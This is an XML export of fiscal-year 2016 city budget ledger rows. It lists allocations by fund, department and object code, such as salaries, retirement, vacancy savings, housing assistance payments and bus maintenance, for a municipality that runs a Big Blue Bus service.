<row _id="20776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>120620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120620</total></row>
<row _id="20777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6969</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6969</total></row>
<row _id="20778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>632</total></row>
<row _id="20779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1530</total></row>
<row _id="20780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6811</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6811</total></row>
<row _id="20781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>131</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>131</total></row>
<row _id="20782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>39130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39130</total></row>
<row _id="20783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>395202</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>395202</total></row>
<row _id="20784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="20785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>578670.0</object><object_description>COORDINATED COMMUNITY OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>162395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>162395</total></row>
<row _id="20786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>561504.0</object><object_description>SERIAL INEBRIATE PROG-HAP</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>356349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>356349</total></row>
<row _id="20787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571120.0</object><object_description>S+C HAP TRA</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1470740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1470740</total></row>
<row _id="20788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571130.0</object><object_description>S+C HAP SUO5</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>319830</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319830</total></row>
<row _id="20789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15147</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15147</total></row>
<row _id="20790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1376</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1376</total></row>
<row _id="20791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>425</total></row>
<row _id="20792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="20793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>47000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47000</total></row>
<row _id="20794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>563254</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>563254</total></row>
<row _id="20795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>185829</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>185829</total></row>
<row _id="20796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10550</total></row>
<row _id="20797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5310</total></row>
<row _id="20798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>85650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>85650</total></row>
<row _id="20799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="20800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1334</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1334</total></row>
<row _id="20801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>202097</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>202097</total></row>
<row _id="20802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11088</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11088</total></row>
<row _id="20803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>36960</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36960</total></row>
<row _id="20804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-8661</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8661</total></row>
<row _id="20805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-39285</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-39285</total></row>
<row _id="20806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-39425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-39425</total></row>
<row _id="20807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-11183</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11183</total></row>
<row _id="20808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-63137</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-63137</total></row>
<row _id="20809"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-215614</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-215614</total></row>
<row _id="20810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-32333</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-32333</total></row>
<row _id="20811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19888</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19888</total></row>
<row _id="20813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="20815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>183977</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>183977</total></row>
<row _id="20816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7000</total></row>
<row _id="20817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13000</total></row>
<row _id="20818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7246</total></row>
<row _id="20819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13260</total></row>
<row _id="20820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1142</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1142</total></row>
<row _id="20821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21930</total></row>
<row _id="20822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1713</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1713</total></row>
<row _id="20823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12462</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12462</total></row>
<row _id="20824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
